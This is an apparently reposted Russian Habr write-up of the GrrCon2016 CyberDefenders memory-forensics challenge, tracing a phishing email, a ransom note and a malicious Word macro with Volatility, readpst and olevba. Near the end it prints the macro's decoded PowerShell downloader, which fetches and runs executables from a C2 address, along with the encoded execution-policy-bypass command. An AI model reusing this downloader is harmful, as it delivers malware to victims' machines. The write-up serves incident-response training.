Расследуем инциденты в дампе оперативной памяти Windows (GrrCon2016)

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Подготовка.

Хорошо подготовленный стенд – залог успеха в расследовании и анализе, поэтому начинаем с этапа подготовки. Установим ОС с уже необходимыми утилитами для расследования компьютерных инцидентов: SIFT (от института SANS, используйте VPN, друзья). После загрузки открываем в VMware или VBox.

Устанавливаем и заходим на SIFT (пароль от УЗ forensics), на этом этап подготовки не закончен, загрузим на SIFT архив из задания (GrrCON) от cyberdefenders.org (в архиве содержатся образы виртуальных машин) и после распаковки, сделаем экспорт месторасположения образа и профиля исследуемой операционной системы (профиль можно найти с использованием плагинов volatility imageinfo или kdbgscan) в переменные окружения, чтобы в дальнейшем не писать каждый раз эти аргументы:

 export VOLATILITY_LOCATION=file:///home/sansforensics/Desktop/GrrCon/ecorpoffice/win7ecorpoffice2010-36b02ed3.vmem
export VOLATILITY_PROFILE=Win7SP1x64

На этом с этапом подготовки заканчиваем и приступаем непосредственно к анализу.
В ходе анализа двух образов виртуальной машины *.vmem, нам предлагают ответить на 16 вопросов, связанных с инцидентами на виртуальных машинах c ОС Windows7x64.

Работать мы будем с уже предустановленной в SIFT утилитой для анализа дампов оперативной памяти volatility и дополнительными утилитами readpst для анализа *.pst файлов, olevba для анализа malware documents с проектами VBA, mactime из набора TheSleuthKit для парсинга таблицы $mft, clamscan опенсорсным антивирусным движком.

Расследование в первом файле виртуальной машины.

Вначале посмотрим, какие процессы запущены на первом скомпрометированном хосте при помощи плагина pslist(Рисунок 1). Для этого, выполним команду:

vol.py pslist
Рисунок 1 – список запущенных на хосте процессов в режиме реального времени.
Рисунок 1 – список запущенных на хосте процессов в режиме реального времени.

Давайте более детально посмотрим на дерево родительских и дочерних процессов, а также директории, откуда процесс был запущен (плагин pstree с флагом -v). Результат на рисунке 2.

Рисунок 2 – Вывод pstree -v.
Рисунок 2 – Вывод pstree -v.

Можно заметить две интересных особенности для процесса SkypeC2AutoUpdate.exe (PID 1364):

  1. Путь из которого он был запущен (часто вредоносы запускаются из пользовательской директории %TEMP %).

  2. Отсутствие информации о родительском процессе 2528.

Гугл сказал, что у Dr.WEB в анализе трояна, использовался процесс с наименованием SkypeC2AutoUpdate.exe. Но пока рано делать выводы. Соберём чуть больше информации об учетной записи из под которой запустили процесс(рисунок 3):

vol.py getsids -p 1364
Рисунок 3 – получение информации о SIDS пользователей, запустивших процесс.
Рисунок 3 – получение информации о SIDS пользователей, запустивших процесс.

На рисунке 3 мы видим, что процесс запущен из под пользователя phillip.price, который входит в доменную группу и запустил процесс после входа через консоль.

Не менее интересными будут и сетевые соединения. Чтобы их посмотреть, воспользуемся командой:

vol.py netscan
Рисунок 4 – соединения и процессы, породившие их.
Рисунок 4 – соединения и процессы, породившие их.

Видно сторонние IPv4 и порты подключения, для процессов:

  • SkypeC2AutoUpdate.exe: 54.174.131.235:80, 120.122.236.3;

  • OUTLOOK.EXE: 66.147.240.99:993, 64.4.26.155:80.

В 5 вопросе задания нас просят указать e-mail отправителя фишингового письма (What was the sender's email address that delivered the phishing email?), найдём файлы с расширением *.eml или *.pst (такое расширение имеют файлы Outlook и Microsoft Exchange, могут содержать как сами письма, так и папки, контакты, адреса, вложения и.т.д).

В первом случае для *.eml файлов поиск результатов не дал, а вот во втором мы получаем несколько файлов с расширением pst.
Команда для поиска (результат на рисунке ниже):

vol.py filescan | grep pst$

Сдампим файлы по имени, в специально созданную директорию pst2:

vol.py dumpfiles -n -i -r phillip.price@e-corp.biz.pst$ -D pst2 

А теперь приступим к анализу файлов. Для этого воспользуемся утилитой readpst с флагом -S (подробнее):

readpst -S file.2692.0xfffffa80042dcf10.phillip.price@e-corp.biz.pst.dat

Как мы видим, во входящих было сохранено 13 элементов, среди которых письма и вложение, в нашем случае вложение из письма №13, поэтому начинается так: 13-bank_statement_088452.doc. Давайте выведем на экран содержимое писем. (рисунок 7 и 8)

Рисунок 7 – отправитель письма с вложением.
Рисунок 7 – отправитель письма с вложением.
Рисунок 8 – текст и наличие вложения (attachment’a) с его названием.
Рисунок 8 – текст и наличие вложения (attachment’a) с его названием.

На рисунках видно, кто отравитель письма с вложением karenmiles@t-online.de – ответ на 5 вопрос (What was the sender's email address that delivered the phishing email?) (на рисунке 8 показано наличие вложения Content-Disposition: attachment).

Также не поленимся просмотреть другие письма и в письме №12 обнаружим интересное содержимое (рисунок 9) с шантажем (темой Ransom request) и требованием направить 5 биткоинов на кошелёк по адресу 25UMDkGKBe484WSj5Qd8DhK6xkMUzQFydY (ответ на №7 вопрос What is the bitcoin wallet address that ransomware was demanded?), иначе будет осуществлена DDoS атака:

Рисунок 9 – требование о выкупе из письма №12.
Рисунок 9 – требование о выкупе из письма №12.

Теперь давайте изучим содержимое документа 13-bank_statement_088452.doс из письма, для этого используем одну из набора утилит oletools:

olevba phillip.price@e-corp.biz/Inbox/13-bank_statement_088452.doс
Рисунок 10 – VBA скрипт в документе 13-bank_statement_088452.doс.
Рисунок 10 – VBA скрипт в документе 13-bank_statement_088452.doс.

После просмотра содержимого документа, можно отметить, что имеются:

  1. Функция Img_Painted (типа AutoExec), которая отрабатывает после открытия документа.

  2. Подозрительные функции Open, Run(UsoJar,0), CreateObject и закодированное содержимое.

Рисунок 11 – VBA code snippet.
Рисунок 11 – VBA code snippet.

Как мы заметили, выполняется функция Run(UsoJar,0), давайте разберёмся, что выполняется в данной функции (запуск которой видно на рисунке 11, и она же является ответом на вопрос 10 What Public Function in the word document returns the full command string that is eventually run on the system?). Итак, после небольшого дебага, мы получаем из содержимого функции следующее:

powershell -ep bypass -nop -encodedCommand ZgBvAHIAZQBhAGMAaAAgACgAJABpACAAaQBuACAAQAAoACIAUwBrAHkAcABlAEMAMgBBAHUAdABvAFUAcABkAGEAdABlAC4AZQB4AGUAIgAsACIAVABlAGEAbQBWAGkAZQB3AGUAcgBfAEQAZQBzAGsAdABvAHAAL…<code snippet>…HYAOgBUAEUATQBQ 

Видно, что выполняются закодированные в base64 командлеты в обход Execution Policy, аналогичную технику использовала APT Kimsuky в малдоках 2022 года, разборы других документов APT можно найти здесь. После декодирования через base64 -d:

echo "ZgBvAHIAZQBhAGMAaAAgACgAJABpACAAaQBuACAAQAAoACIAUwBrAHkAcABlAEMAMgBBAHUAdABvAFUAcABkAGEAdABlAC4AZQB4AGUAIgAsACIAVABlAGEAbQBWAGkAZQB3AGUAcgBfAEQAZQBzAGsAdABvAHAAL…<code snippet>…HYAOgBUAEUATQBQ" | base64 -d 

Мы получим, собственно, сами командлеты:

foreach ($i in @("SkypeC2AutoUpdate.exe","TeamViewer_Desktop.exe","TeamViewer_Resource_en.dll",
"avicap32.dll","tv_w32.dll","tv_w32.exe","tv_x64.dll","tv_x64.exe","tvr.cfg","vpn.exe"))
{
(New-Object System.Net.WebClient).DownloadFile("http://54.174.131.235/files/$i", "$env:temp/$i")
};
Start-Process -FilePath "$env:TEMP/SkypeC2AutoUpdate.exe" -WorkingDirectory "$env:TEMP

Среди которых массив из имён файлов: SkypeC2AutoUpdate.exe, TeamViewer_Desktop.exe и.др, которые загружаются с сервера http://54.174.131.235/files/$i (этот адрес мы уже видели на рисунке 4 когда просматривали подключения и он же является ответом на вопрос №2 What is the C2 server IP address?,  в папку %TEMP%, как мы уже также ранее с вами подметили на рисунке 2, а после запускается и сам процесс (с вредоносным кодом) SkypeC2AutoUpdate.exe (это ответ на 1-й вопрос: What is the PID the malicious file is running under?)

Источник: https://habr.com/ru/post/717754/


Интересные статьи

Интересные статьи

Привет, Хабр! В прошлой статье мы рассмотрели историю и принцип работы технологии USB over IP, узнали, как ее применяют на базе готового аппаратного решения. Для личного использования, однако, а...
Как ускорить 1С БИТРИКС и снизить кол-во запросов к БД используя ядро D7.Пример выборки элементов IBlock с пользовательскими свойствами в один запрос.
Пожалуй, все java-разработчики, участвующие в коммерческих проектах рано или поздно сталкиваются с проблемой утечки памяти, влекущей за собой медленную работу приложения и почти неизб...
В этой статье мы рассмотрим, как система управления 1С-Битрикс справляется с большими нагрузками. Данный вопрос особенно актуален сегодня, когда электронная торговля начинает конкурировать по обороту ...
Несколько недель назад в разговоре за обедом коллега пожаловался на какой-то медленный процесс. Он подсчитал количество сгенерированных байт, количество циклов обработки, и в конечном счёте, объё...